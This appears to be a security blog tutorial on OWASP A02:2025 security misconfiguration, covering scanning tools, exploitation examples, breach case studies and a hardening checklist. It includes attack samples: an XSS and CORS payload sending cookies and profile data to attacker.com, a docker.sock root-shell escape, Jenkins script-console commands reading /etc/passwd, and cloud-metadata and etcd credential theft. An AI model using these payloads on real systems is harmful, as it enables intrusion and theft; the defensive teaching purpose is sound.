Part 3. OWASP A02 Security Misconfiguration: The Complete Guide to Detection, Exploitation, and Prevention
“You don’t need a zero-day. You don’t need elite skills. You just need a misconfigured server and five minutes.”
Table of Contents
- What Is Security Misconfiguration?
- Why OWASP Ranked It #2 in 2025
- The Attack Surface You’re Probably Ignoring
- Types of Security Misconfiguration
- Tools Every Tester Needs (With Real Commands)
- How to Detect Misconfigurations — Step by Step
- How Attackers Exploit Them — With Real Examples
- Cookie Security Misconfigurations
- CORS Misconfigurations — The Silent Data Leak
- Cloud Misconfigurations (AWS, Azure, GCP)
- Docker & Kubernetes Misconfigurations
- CI/CD Pipeline Misconfigurations
- Real-World Breach Case Studies
- The Full Attack Chain — A Real-World Scenario
- Hardening Checklist
- OWASP CWE Mapping
- Final Thoughts
1. What Is Security Misconfiguration?
Let me paint you a picture.
Imagine you spend months building a beautiful house. Strong walls, reinforced doors, expensive locks. But you leave the kitchen window open. Every night. Because you just forgot.
That’s security misconfiguration.
Everything works. Nothing is secured.

OWASP defines it like this: when a system, application, cloud service, or framework is not configured securely — even though the code itself may be completely fine — vulnerabilities are created. No exploit needed. No genius hacker required. Just a setting that was never changed.
This includes things like:
- Default admin credentials nobody ever changed (admin:admin on Jenkins, tomcat:tomcat on Tomcat)
- Debug mode left ON in production, exposing internal stack traces to the entire internet
- An S3 bucket accidentally set to public read/write, leaking customer records
- Missing HTTP security headers on every response
- A Kubernetes dashboard exposed to the internet with no authentication
- Verbose error messages that tell an attacker exactly what database, framework, and version you’re running
These aren’t bugs in the traditional sense. They’re operational failures. And they’re everywhere.
2. Why OWASP Ranked It #2 in 2025
In 2021, Security Misconfiguration was at #5 on the OWASP Top 10. In 2025, it jumped to #2. That’s not an accident.
Here’s why it climbed so fast:
Infrastructure got exponentially more complex. A typical modern application doesn’t run on one server anymore. It runs across containers, microservices, serverless functions, cloud storage, CDNs, API gateways, CI/CD pipelines, and Kubernetes clusters. Every single one of those components has its own configuration layer. Every default setting is a potential open window.
The data backs it up. OWASP’s 2025 analysis mapped over 719,000 CWEs (Common Weakness Enumerations) to this category. Nearly 100% of tested applications had at least one misconfiguration. Not most. Nearly all.
Defaults are chosen for convenience, not security. Cloud providers, frameworks, and databases ship with settings that make it easy to get started — not settings that keep you safe. Most teams never audit those defaults.
Speed culture skips security. “Ship fast, iterate fast” means debug mode gets enabled temporarily and never disabled. Test endpoints get pushed to production. S3 buckets get created publicly because it was faster than reading the docs.
The result: misconfiguration is now one of the most common root causes of major breaches. Not because attackers are sophisticated. Because defenders are rushed.
3. The Attack Surface You’re Probably Ignoring
Security teams focus on application logic. They look for SQLi, XSS, IDOR. That’s the right instinct — but it misses a massive layer beneath the code.
The configuration layer includes:
- Web server settings (Nginx, Apache, IIS)
- Application framework settings (Spring Boot, Django, Express, Rails)
- Database settings (MongoDB, MySQL, Elasticsearch)
- Cloud infrastructure (IAM policies, S3 permissions, security groups)
- Container settings (Dockerfiles, docker-compose.yml, Kubernetes RBAC)
- CI/CD pipelines (Jenkins, GitHub Actions, GitLab)
- HTTP response headers
- Cookie attributes
- CORS policies
- Error handling behavior
Any one of these, misconfigured, can compromise an entire system. And most organizations have no automated process to check them consistently.
4. Types of Security Misconfiguration
4.1 Application-Level Misconfigurations
These live inside your application code and configs.
Debug Mode in Production
When debug mode is on, your app helpfully tells anyone who triggers an error exactly what went wrong — including file paths, line numbers, database names, framework versions, and internal variable values.
Exception in thread "main" java.sql.SQLException: Unknown database 'prod_db'
at com.example.database.Connection.connect(Connection.java:145)
at com.example.application.Main.main(Main.java:89)
An attacker reading that now knows: Java app, JDBC driver, database named prod_db, exact file structure. That's a roadmap.
Missing Security Headers
Headers like Content-Security-Policy, Strict-Transport-Security, and X-Frame-Options tell the browser how to protect the user. When they're absent, attacks like XSS, clickjacking, and protocol downgrade become significantly easier.
Unnecessary Exposed Endpoints
Developers often leave test routes or admin panels accessible in production:
/admin
/setup
/debug
/test
/phpmyadmin
/.env
/actuator (Spring Boot)
These aren’t secrets. Attackers have lists of them and scan for them automatically.
4.2 Web Server Misconfigurations
Directory Listing Enabled
When directory listing is on, anyone who visits /uploads/ or /backups/ sees a file browser. Real example of what they might find: database dumps, API keys in .env files, compiled Java bytecode they can decompile and reverse engineer.
HTTP Methods Not Restricted
If a server accepts PUT or DELETE requests when only GET and POST are needed, attackers can upload arbitrary files or delete content.
Default Pages Still Running
The default Apache, Nginx, or IIS welcome page tells an attacker exactly what server software you’re running and often the version. That’s the first thing they need to search for known CVEs.
Outdated Software
Running Apache 2.2.x or PHP 5.x with known, public CVEs is functionally the same as publishing a vulnerability disclosure about yourself.
4.3 Cloud Misconfigurations
This is where billions of dollars in data breaches happen.
Public S3 Buckets (AWS)
The most classic cloud misconfiguration. A developer creates an S3 bucket, doesn’t read the access control docs, and accidentally sets it to public-read or public-read-write. Customer data, source code, API keys — all freely downloadable.
Overly Permissive IAM Policies
{
"Action": "*",
"Resource": "*"
}This grants a role unrestricted access to everything in your AWS account. It’s used more often than it should be, usually because it “just works” and nobody audits it.
Public Database Instances
A database should never have a public IP address. Yet thousands of MongoDB, Elasticsearch, and Redis instances are directly reachable from the internet — often with no password.
Open Security Groups
Inbound rules set to 0.0.0.0/0 on ports like 22 (SSH), 3306 (MySQL), or 5432 (PostgreSQL) mean the entire internet can attempt to connect.
4.4 Framework Misconfigurations
Different frameworks, same mistake: production settings that look like development settings.
Framework Common Misconfiguration Spring Boot Actuator endpoints (/actuator/env, /actuator/heapdump) exposed publicly Flask debug=True in production Django ALLOWED_HOSTS = ['*'] or DEBUG = True Express.js Default error handler revealing stack traces Rails config.consider_all_requests_local = true in production
4.5 Database Misconfigurations
- No password set (MongoDB, Redis, Elasticsearch default to no auth)
- Default ports open to the internet (3306, 27017, 9200)
- No encryption at rest or in transit
- Excessive database user privileges (app user has DROP TABLE permission)
5. Tools Every Tester Needs (With Real Commands)
5.1 Reconnaissance — Finding the Target
Amass — Subdomain enumeration
amass enum -d target.com
This finds hidden subdomains including dev.target.com, staging.target.com, jenkins.target.com — environments developers forget to secure because "nobody knows they exist."
Subfinder — Fast passive subdomain discovery
subfinder -d target.com -o subdomains.txt
Assetfinder — Quick subdomain discovery
assetfinder target.com | tee assets.txt
Why these matter: Development and staging environments are routinely left wide open. Debug mode is on. Authentication is weak. Finding them is often as easy as checking what subdomains a company uses.
5.2 Port & Service Scanning — What’s Actually Running
Nmap — The industry standard
Basic version detection:
nmap -sV target.com
Aggressive scan (OS detection, version detection, scripts):
nmap -A target.com
Full port range (don’t miss non-standard ports):
nmap -p- target.com
Output to file for analysis:
nmap -p- -sV -oA scan_results target.com
What to look for:
Port Service Why It Matters 8080 Jenkins Often no auth 3000 Grafana Default creds admin:admin 9200 Elasticsearch Usually no auth by default 5601 Kibana Exposed dashboards 2375 Docker API Full container takeover 6443 Kubernetes API Cluster compromise 8443 Kubernetes Dashboard Direct cluster access
5.3 Technology Fingerprinting — What Are They Running?
WhatWeb
whatweb https://target.com
Output example:
https://target.com [200 OK] Apache[2.4.49], PHP[8.0.1], WordPress[5.9]
Now you know the exact versions. Apache 2.4.49 has CVE-2021–41773, a path traversal and RCE vulnerability. WordPress 5.9 has known plugin vulnerabilities. You have a list of things to check.
HTTPx — Fast, bulk HTTP probing
cat subdomains.txt | httpx -title -tech-detect -status-code
This gives you HTTP status codes, page titles, and detected technologies for every subdomain at once. Invaluable for quickly spotting interesting endpoints.
5.4 Automated Vulnerability Scanning
Nuclei — The most powerful open-source scanner for misconfigurations
Basic scan:
nuclei -u https://target.com
Misconfiguration templates only:
nuclei -u https://target.com -tags misconfig
Bulk scan from list:
nuclei -l targets.txt -tags misconfig,exposure,default-login
What Nuclei detects:
- Exposed admin panels
- Default credentials
- Public cloud storage
- Exposed .env files
- Debug endpoints
- Missing security headers
- Open redirects
- Exposed Git repositories
Nikto — Web server misconfiguration scanner
nikto -h https://target.com
Checks for: outdated software, default files, dangerous HTTP methods, missing headers, directory listings.
5.5 Burp Suite — Manual Deep Dive
Burp Suite is not just an intercepting proxy. For misconfiguration testing, use it to:
Check Security Headers
Intercept any response. Look at the headers section. Missing headers are just as important as present ones. You want to see:
Content-Security-Policy: default-src 'self'
Strict-Transport-Security: max-age=31536000; includeSubDomains
X-Frame-Options: DENY
X-Content-Type-Options: nosniff
Referrer-Policy: strict-origin-when-cross-origin
Permissions-Policy: geolocation=(), microphone=()
If any of these are absent, that’s a finding.
Spot Information Disclosure
Watch response headers for:
Server: Apache/2.4.49 (Ubuntu)
X-Powered-By: PHP/7.4.3
X-AspNet-Version: 4.0.30319
Version disclosure gives attackers their shopping list.
Find Debug Responses
Look for JSON responses containing:
{
"debug": true,
"stacktrace": "...",
"environment": "production",
"database_host": "prod-db.internal"
}This should never appear in production.
Use the Repeater and Intruder to test different HTTP methods on endpoints. Try sending PUT, DELETE, OPTIONS to endpoints and observe what comes back.
5.6 Cloud-Specific Tools
AWS CLI — S3 Bucket Testing
# List bucket contents (as anonymous user)
aws s3 ls s3://target-bucket-name --no-sign-request
# Try to download files
aws s3 cp s3://target-bucket-name/sensitive.txt . --no-sign-request
# Try to upload (write access check)
aws s3 cp test.txt s3://target-bucket-name/ --no-sign-request
If any of these work without credentials, the bucket is publicly accessible.
ScoutSuite — Multi-cloud security auditing
# AWS
python scout.py aws
# Azure
python scout.py azure --cli
# GCP
python scout.py gcp --user-account
Generates a full HTML report of misconfigurations across your cloud environment.
Prowler — AWS security assessment
prowler aws --profile default
Checks hundreds of AWS security controls including S3, IAM, CloudTrail, and security groups.
Trivy — Container and IaC scanning
# Scan a Docker image
trivy image nginx:latest
# Scan a Kubernetes cluster
trivy k8s --report summary cluster
# Scan Terraform files
trivy config ./terraform/
6. How to Detect Misconfigurations
Here’s how a professional approaches this. Not randomly clicking around. A structured methodology.
Phase 1: Asset Discovery
You can’t test what you don’t know exists.
# Step 1: Find all subdomains
subfinder -d target.com -o subs.txt
# Step 2: Probe which ones are alive
cat subs.txt | httpx -status-code -title -o alive.txt
# Step 3: Check for interesting subdomains
grep -i "dev\|test\|staging\|jenkins\|admin\|internal" alive.txt
Phase 2: Port Scanning
# Full port scan on the main target
nmap -p- -sV --open target.com -oA nmap_full
# Extract open ports and grep for interesting services
grep "open" nmap_full.gnmap | grep -i "jenkins\|kibana\|grafana\|docker\|kubernetes"
Phase 3: Automated Misconfiguration Scanning
# Run Nuclei with misconfiguration and exposure templates
nuclei -l alive.txt -tags misconfig,exposure,default-login -o nuclei_results.txt
# Run Nikto on each alive target
while read url; do nikto -h $url -output nikto_${url//\//_}.txt; done < alive.txt
Phase 4: Manual Header Inspection
Use Burp Suite or curl:
# Check headers on main site
curl -sI https://target.com
# Check CORS
curl -sI -H "Origin: https://evil.com" https://target.com/api/user
Phase 5: Cloud Recon
# Common S3 bucket naming patterns
aws s3 ls s3://target-com --no-sign-request
aws s3 ls s3://target-backup --no-sign-request
aws s3 ls s3://target-prod --no-sign-request
aws s3 ls s3://target-dev --no-sign-request
Phase 6: Reporting
Document every finding with: what was found, how it was found, what the impact is, steps to reproduce, screenshot evidence, and specific remediation guidance.
7. How Attackers Exploit Misconfigurations
7.1 Default Credentials
This is almost embarrassingly simple.
An attacker finds a Jenkins instance on jenkins.target.com:8080. They try admin:admin. It works. They now have access to every build pipeline, every environment secret, and the ability to execute arbitrary code on build servers.
Common default credentials worth knowing:
Service Default Username Default Password Jenkins admin admin (or blank) Grafana admin admin Tomcat Manager tomcat tomcat phpMyAdmin root (blank) Kibana elastic changeme MongoDB (none — no auth by default) — Elasticsearch (none — no auth by default) —
Defense: Change every default credential immediately. Use a secrets manager. Automate this check in your CI/CD pipeline.
7.2 Directory Listing Exploitation
# Attacker finds directory listing enabled
curl https://target.com/uploads/
Response:
<title>Index of /uploads</title>
<a href="backup_2024.sql">backup_2024.sql</a>
<a href="config.php.bak">config.php.bak</a>
<a href="users_export.csv">users_export.csv</a>
They download everything. Database dump. Config file with credentials. User data export.
7.3 Exposed Spring Boot Actuator
Spring Boot’s actuator endpoints are meant for monitoring. When exposed to the internet, they’re a goldmine.
# Check what actuator endpoints are available
curl https://target.com/actuator
# Dump all environment variables (includes secrets)
curl https://target.com/actuator/env
# Download a heap dump (contains everything in memory, including tokens)
curl https://target.com/actuator/heapdump -o heap.hprof
# Trigger a thread dump
curl https://target.com/actuator/threaddump
The /actuator/env endpoint alone can expose database passwords, API keys, and internal service URLs.
7.4 Docker API Exposure
If the Docker daemon is exposed on port 2375 without TLS:
# List all running containers
curl http://target.com:2375/containers/json
# Execute a command inside a container
curl -X POST "http://target.com:2375/containers/{id}/exec" \
-H "Content-Type: application/json" \
-d '{"Cmd": ["cat", "/etc/passwd"]}'
From here, an attacker can create a privileged container, mount the host filesystem, and own the underlying server.
7.5 Kubernetes Dashboard Without Authentication
The historical Kubernetes Dashboard vulnerability is still relevant because people still deploy it wrong.
# If the dashboard is exposed, accessing it directly
curl http://target.com:8443/api/v1/namespaces/kubernetes-dashboard/services/https:kubernetes-dashboard:/proxy/
# If anonymous access is enabled
kubectl --insecure-skip-tls-verify -s https://target.com:6443 get secrets
kubectl --insecure-skip-tls-verify -s https://target.com:6443 get pods --all-namespaces
A cluster with anonymous access enabled is a complete compromise. Secrets, credentials, the ability to deploy arbitrary workloads — all accessible.
8. Cookie Security Misconfigurations
Cookies are often where session security lives. When they’re misconfigured, sessions get stolen.
The Three Critical Flags
HttpOnly — Prevents JavaScript from reading the cookie.
Without it, any XSS payload can steal the session:
// Attacker payload in a comment field
<img src=x onerror="fetch('https://attacker.com/steal?c='+document.cookie)">
With HttpOnly set, document.cookie won't include the protected cookie. The attack fails.
Secure — Ensures the cookie is only sent over HTTPS.
Without it, if a user accidentally visits http:// instead of https://, their session cookie goes over the wire unencrypted. An attacker on the same network (coffee shop, corporate WiFi) captures it:
tcpdump -i eth0 'tcp port 80' -A | grep -i cookie
SameSite — Controls when the cookie is sent with cross-site requests.
- Strict: Never sent with cross-site requests (most secure)
- Lax: Sent only with top-level navigation GET requests
- None: Sent with all requests (requires Secure flag)
Without SameSite, CSRF attacks become much easier.
The Right Cookie Configuration
Set-Cookie: sessionid=abc123; Secure; HttpOnly; SameSite=Strict; Path=/; Max-Age=3600
What NOT to Store in Cookies
Developers sometimes store sensitive data directly in cookies. Don’t.
// This is terrible — never do this
res.setHeader('Set-Cookie', `user_data=${JSON.stringify({
email: user.email,
api_key: user.api_key,
ssn: user.ssn
})}`);
Anyone who obtains this cookie has the API key and SSN. Store only session identifiers that reference server-side state.
9. CORS Misconfigurations — The Silent Data Leak
CORS (Cross-Origin Resource Sharing) controls which domains can make requests to your API from a browser. Misconfigure it, and you’ve handed attackers a way to read your users’ sensitive data from any website.
How CORS Works (Simply)
Your API is at api.target.com. When evil.com tries to fetch data from it with the user's credentials, the browser checks: does api.target.com allow requests from evil.com?
That answer lives in the response header:
Access-Control-Allow-Origin: https://trusted-site.com
If it says * or reflects whatever origin the attacker sends, that's the problem.
Common CORS Misconfigurations
Wildcard with Credentials
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
You can’t combine these — browsers block it. But if the server is reflecting the Origin header instead:
Origin Reflection
curl -I -H "Origin: https://evil.com" https://api.target.com/user/profile
Response:
Access-Control-Allow-Origin: https://evil.com
Access-Control-Allow-Credentials: true
The server is blindly trusting whatever origin is sent. An attacker hosts this on evil.com:
var req = new XMLHttpRequest();
req.onreadystatechange = function() {
if (req.readyState == XMLHttpRequest.DONE) {
fetch('https://attacker.com/steal?data=' + req.responseText);
}
};
req.open('GET', 'https://api.target.com/user/profile', true);
req.withCredentials = true;
req.send(null);
Victim visits evil.com. The script runs silently. Their profile data — including session tokens, personal info, API keys — is exfiltrated to the attacker.
The Null Origin Trick
Some servers whitelist the null origin for local development. An attacker can trigger a null origin using a sandboxed iframe:
<iframe sandbox="allow-scripts" srcdoc="
<script>
var req = new XMLHttpRequest();
req.open('GET', 'https://api.target.com/user/profile', true);
req.withCredentials = true;
req.onreadystatechange = function() {
if (req.readyState == XMLHttpRequest.DONE) {
fetch('https://attacker.com/steal?data=' + req.responseText);
}
};
req.send(null);
</script>"></iframe>
Defense:
- Never blindly reflect the Origin header
- Maintain an explicit whitelist of trusted origins
- Never whitelist null in production
- Use Vary: Origin header when serving dynamic CORS responses
10. Cloud Misconfigurations
AWS
Finding Public S3 Buckets
# Direct access test
aws s3 ls s3://company-name-backup --no-sign-request
# Using tools
python3 bucket_finder.py company-name
# AWS CLI authenticated check (for your own buckets)
aws s3api get-bucket-acl --bucket your-bucket-name
aws s3api get-bucket-policy --bucket your-bucket-name
Checking IAM Policies for Privilege Escalation
# List all policies attached to a user
aws iam list-attached-user-policies --user-name target-user
# Get the actual policy document
aws iam get-policy-version --policy-arn arn:aws:iam::ACCOUNT:policy/PolicyName --version-id v1
# Check for dangerous permissions
aws iam simulate-principal-policy --policy-source-arn arn:aws:iam::ACCOUNT:user/target-user \
--action-names iam:CreateUser s3:GetObject ec2:DescribeInstances
Finding Exposed Secrets in EC2 Metadata
# If SSRF exists, this is what attackers try:
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME
This returns temporary AWS credentials. With those credentials, the attacker can operate as that IAM role.
Remediation:
# Secure S3 bucket (CloudFormation)
SecureS3Bucket:
Type: AWS::S3::Bucket
Properties:
PublicAccessBlockConfiguration:
BlockPublicAcls: true
BlockPublicPolicy: true
IgnorePublicAcls: true
RestrictPublicBuckets: true
BucketEncryption:
ServerSideEncryptionConfiguration:
- ServerSideEncryptionByDefault:
SSEAlgorithm: AES256
Azure
Common findings:
- Blob storage containers with public access enabled
- Management ports (22, 3389) open to 0.0.0.0/0 in NSGs
- Service principals with excessive permissions
- Outdated API permissions not cleaned up
# Using ScoutSuite for Azure
python scout.py azure --cli
# Using Prowler
prowler azure --subscription-ids SUBSCRIPTION_ID
GCP
Common findings:
- Cloud Storage buckets with allUsers or allAuthenticatedUsers permissions
- Service accounts with editor or owner roles
- APIs enabled that aren’t needed (increasing attack surface)
# Check bucket permissions
gsutil iam get gs://bucket-name
# List service accounts and their roles
gcloud iam service-accounts list
gcloud projects get-iam-policy PROJECT_ID
11. Docker & Kubernetes Misconfigurations {containers}
Docker
Running as Root
# Bad — default root user
FROM ubuntu:22.04
RUN apt-get update
COPY app /app
CMD ["/app/run"]
# Good — dedicated non-root user
FROM ubuntu:22.04
RUN apt-get update && useradd -r appuser
COPY app /app
RUN chown appuser:appuser /app
USER appuser
CMD ["/app/run"]
Running as root means if your application is compromised, the attacker has root in the container. Combined with other misconfigurations, that can mean root on the host.
Privileged Containers
# Never use this in production
docker run --privileged my-app
A privileged container has nearly all Linux capabilities. From inside one, an attacker can mount the host filesystem, load kernel modules, and escape the container entirely.
Exposed Docker Socket
# If you mount this inside a container:
-v /var/run/docker.sock:/var/run/docker.sock
# The container can control the Docker daemon:
docker -H unix:///var/run/docker.sock ps
docker -H unix:///var/run/docker.sock run --privileged --pid=host -it ubuntu nsenter -t 1 -m -u -n -i sh
That last command gives you a root shell on the host.
Kubernetes
Check for Anonymous Access
kubectl --insecure-skip-tls-verify -s https://target-cluster:6443 auth can-i get pods
If the response is yes, anonymous access is enabled. Critical finding.
Check RBAC for Dangerous Permissions
kubectl get clusterrolebindings -o json | \
python3 -c "import json,sys; [print(b['metadata']['name']) for b in json.load(sys.stdin)['items'] if any(s.get('name')=='system:anonymous' for s in b.get('subjects',[]))]"
Dangerous RBAC Example
# This gives a service account god-mode permissions
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
name: over-permissive
rules:
- apiGroups: ["*"]
resources: ["*"]
verbs: ["*"]
Exposed etcd
etcd stores the entire cluster state: all secrets, credentials, certificates. If it’s accessible without auth:
etcdctl --endpoints=http://target:2379 get / --prefix --keys-only
etcdctl --endpoints=http://target:2379 get /registry/secrets --prefix
That’s a full cluster compromise.
Secret Scanning in Clusters
# List all secrets across namespaces
kubectl get secrets --all-namespaces
# Decode a secret
kubectl get secret my-secret -o jsonpath='{.data.password}' | base64 -d
12. CI/CD Pipeline Misconfigurations
CI/CD pipelines are increasingly targeted because they have access to everything: source code, deployment credentials, production environments, secret keys.
Jenkins
Check for Unauthenticated Access
curl -sI http://jenkins.target.com
curl http://jenkins.target.com/api/json?pretty=true
If you get a JSON response listing jobs without authentication, you have unauthenticated access.
Script Console RCE
If you have admin access to Jenkins (default creds, anonymous access, or CSRF bypass), the Script Console executes arbitrary Groovy:
// Jenkins Groovy Script Console — executes on server
println "id".execute().text
println "cat /etc/passwd".execute().text
println "ls /var/jenkins_home/secrets/".execute().text
GitHub Actions Secret Leakage
# Vulnerable workflow — prints secrets to logs
- name: Deploy
run: |
echo "API Key: ${{ secrets.API_KEY }}" # This gets logged
curl -H "Authorization: Bearer ${{ secrets.TOKEN }}" https://api.target.com
If logs are public (public repo), those secrets are exposed.
Safe pattern:
- name: Deploy
env:
API_KEY: ${{ secrets.API_KEY }}
run: |
# Use the env variable, never echo it
./deploy.sh
Environment Variable Exposure
# If CI/CD server exposes environment:
printenv | grep -i "key\|secret\|token\|password\|api\|aws"
13. Real-World Breach Case Studies
Capital One (2019) — $80 Million Fine
What happened: A former AWS employee exploited a misconfigured Web Application Firewall. The WAF allowed SSRF (Server-Side Request Forgery) requests, which the attacker used to access the EC2 metadata service and steal IAM credentials. With those credentials, they accessed over 100 million customer records from S3.
Root causes:
- WAF misconfigured to not block SSRF requests
- IAM role with excessive S3 permissions attached to the EC2 instance
- No anomaly detection on unusual S3 access patterns
Lesson: Even a single SSRF vulnerability, combined with an over-permissive IAM role, can expose an entire cloud environment. Defense in depth matters at every layer.
Tesla Kubernetes Exposure (2018)
What happened: Security researchers discovered Tesla’s Kubernetes dashboard was publicly accessible with no authentication. Inside the cluster, they found AWS credentials in environment variables. They used those credentials to spin up EC2 instances for cryptocurrency mining.
Root causes:
- Kubernetes dashboard exposed to internet
- No authentication on the dashboard
- AWS credentials stored as plaintext environment variables
Lesson: Administrative dashboards must never be directly internet-accessible. Credentials must never be in environment variables without encryption.
MongoDB Ransom Campaigns (2017, repeated)
What happened: Attackers scanned the internet for MongoDB instances on port 27017. Tens of thousands had no authentication enabled — MongoDB’s default at the time. Attackers connected, deleted the data, and left ransom notes demanding payment to recover it.
Root causes:
- MongoDB default configuration had no authentication
- Instances were directly internet-accessible
- No backups in many cases
Lesson: Never trust default configurations. Database instances should never be internet-accessible. Authentication must be explicitly configured, not assumed.
Facebook (2021) — 533 Million Records
What happened: Customer data from 533 million Facebook users was leaked through misconfigured cloud storage accessible to the public.
Lesson: Regular cloud storage audits are non-negotiable. Automated tooling (ScoutSuite, Prowler) should run on every environment continuously.
14. The Full Attack Chain — A Real-World Scenario
Let’s walk through a realistic attack that chains multiple misconfigurations together. This is exactly how real breaches happen.
Target: A mid-sized e-commerce company. Let’s call them ShopCo.
Step 1: Reconnaissance
subfinder -d shopco.com -o subs.txt
cat subs.txt | httpx -status-code -title
Output includes: jenkins.shopco.com (200 OK, title: "Jenkins")
Step 2: Access Jenkins
Navigate to http://jenkins.shopco.com:8080. The login page appears, but there's also a "Continue as guest" link. Anonymous access is enabled.
The attacker can view build history. Recent builds show the deploy pipeline for production. In the build logs:
[deploy.sh] Connecting to database...
DB_PASSWORD=Sh0pC0Pr0d2024!
DB_HOST=prod-db.shopco.internal
A database password just fell out of a build log.
Step 3: Pivot to Cloud
In the Jenkins environment variables panel (readable by guests):
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
Step 4: S3 Enumeration
aws configure # enters stolen credentials
aws s3 ls # lists all accessible buckets
# shopco-customer-backups (interesting)
# shopco-media (boring)
# shopco-logs (very interesting)
aws s3 ls s3://shopco-customer-backups
# customers_2024_full.sql.gz (12GB)
# api_keys_export.csv
Step 5: Data Exfiltration
aws s3 cp s3://shopco-customer-backups/customers_2024_full.sql.gz .
aws s3 cp s3://shopco-customer-backups/api_keys_export.csv .
Full customer database. API keys. Exfiltrated in minutes.
What went wrong at each step:
Step Misconfiguration Fix Jenkins found No authentication on admin panel Require auth for all Jenkins access Credentials in logs Secrets printed to build output Use Jenkins credentials plugin, never echo AWS keys in env Credentials stored as plaintext env vars Use IAM instance roles or Secrets Manager S3 accessible Overly permissive IAM role Least privilege — only the permissions actually needed No detection No alerting on unusual S3 access CloudTrail + GuardDuty + anomaly detection
15. Hardening Checklist
Application
- [ ] Debug mode disabled in production
- [ ] Generic error messages only (no stack traces to users)
- [ ] All test/sample/admin endpoints removed or authenticated
- [ ] Security headers present on all responses
- [ ] Version information removed from headers and responses
- [ ] Cookies set with Secure, HttpOnly, SameSite=Strict
- [ ] No sensitive data stored in cookies
- [ ] CORS whitelist explicitly defined (no * with credentials)
Infrastructure
- [ ] All default credentials changed immediately
- [ ] Unnecessary ports closed (firewall rules reviewed)
- [ ] Directory listing disabled on all web servers
- [ ] HTTP methods restricted to only what’s needed
- [ ] SSL/TLS properly configured (TLS 1.2+ only, strong ciphers)
- [ ] Admin interfaces behind VPN or IP whitelist
Cloud
- [ ] All storage buckets private by default
- [ ] IAM policies following least privilege principle
- [ ] No credentials in environment variables (use secrets managers)
- [ ] Security groups reviewed — no 0.0.0.0/0 on sensitive ports
- [ ] Database instances have no public IP
- [ ] CloudTrail logging enabled
- [ ] GuardDuty or equivalent threat detection enabled
Containers
- [ ] Containers run as non-root user
- [ ] No --privileged flag in production
- [ ] Docker socket not mounted in containers
- [ ] Base images regularly updated and scanned
- [ ] Read-only root filesystem where possible
Kubernetes
- [ ] Anonymous access disabled
- [ ] Dashboard not internet-accessible
- [ ] RBAC reviewed — no wildcard permissions
- [ ] Secrets encrypted at rest in etcd
- [ ] etcd not publicly accessible
- [ ] Network policies defined
CI/CD
- [ ] Jenkins requires authentication (no guest/anonymous access)
- [ ] Build logs don’t contain secrets
- [ ] GitHub Actions secrets not echoed to logs
- [ ] Pipeline permissions follow least privilege
Monitoring
- [ ] Continuous automated scanning (Nuclei, Prowler, ScoutSuite)
- [ ] Alerts on configuration changes
- [ ] Configuration drift detection enabled
- [ ] Regular manual audits scheduled
16. OWASP CWE Mapping
CWE Description Common Example CWE-16 Configuration Debug mode in production CWE-200 Information Disclosure Stack traces, version headers CWE-276 Incorrect Default Permissions Public S3 buckets CWE-284 Improper Access Control Kubernetes anonymous access CWE-311 Missing Encryption HTTP-only cookies, unencrypted storage CWE-315 Plaintext Storage in Cookie Sensitive data in unencrypted cookies CWE-614 Missing Secure Flag in Cookie Session cookies without Secure flag CWE-732 Incorrect Resource Permissions Overly permissive IAM policies CWE-1004 Missing HttpOnly Flag Session cookies accessible to JavaScript CWE-611 XXE Misconfiguration XML parsers with external entity processing
17. Final Thoughts
Here’s the uncomfortable truth about security misconfiguration: it’s not a technical problem. It’s a process problem.
The vulnerabilities themselves aren’t complex. Default credentials. Open ports. Missing headers. Public buckets. These aren’t sophisticated bypasses. They’re basic hygiene failures that happen at scale because teams move fast, default to convenience, and don’t build security into their deployment process.
The organizations that get breached because of misconfiguration aren’t necessarily incompetent. They’re usually just operating without the right processes:
- No automated scanning as part of CI/CD
- No infrastructure-as-code enforcing secure defaults
- No configuration drift detection
- No regular audit cycle
The organizations that don’t get breached aren’t smarter — they’ve just made security automatic rather than manual. Every new environment deploys with secure defaults enforced by code. Secrets go through a vault, not environment variables. Pipelines fail if security headers are missing. Cloud configurations are scanned continuously.
Security misconfiguration rose to #2 on OWASP because our infrastructure got more complex faster than our processes to secure it. The answer isn’t to slow down. The answer is to automate security so it keeps up.
Attackers don’t need exploits for this class of vulnerability. They just need to find what you forgot to lock.
This blog covers OWASP A02:2025 — Security Misconfiguration from beginner fundamentals through advanced exploitation techniques. The tool commands and techniques described are for authorized security testing only. Always obtain explicit permission before testing any system you don’t own.
Tags: OWASP Top 10 2025, Security Misconfiguration, A02:2025, Penetration Testing, Bug Bounty, Cloud Security, Kubernetes Security, Docker Security, CORS, Cookie Security, Jenkins Security, AWS Misconfiguration, Nuclei, Nmap, Burp SuiteA02:2025 — Security Misconfiguration: The Mistake That Doesn’t Need a Hacker
“You don’t need a zero-day. You don’t need elite skills. You just need a misconfigured server and five minutes.”
White Panther :
Follow for More : Intelithics
Part 3. OWASP A02 Security Misconfiguration: The Complete Guide to Detection, Exploitation, and… was originally published in System Weakness on Medium, where people are continuing the conversation by highlighting and responding to this story.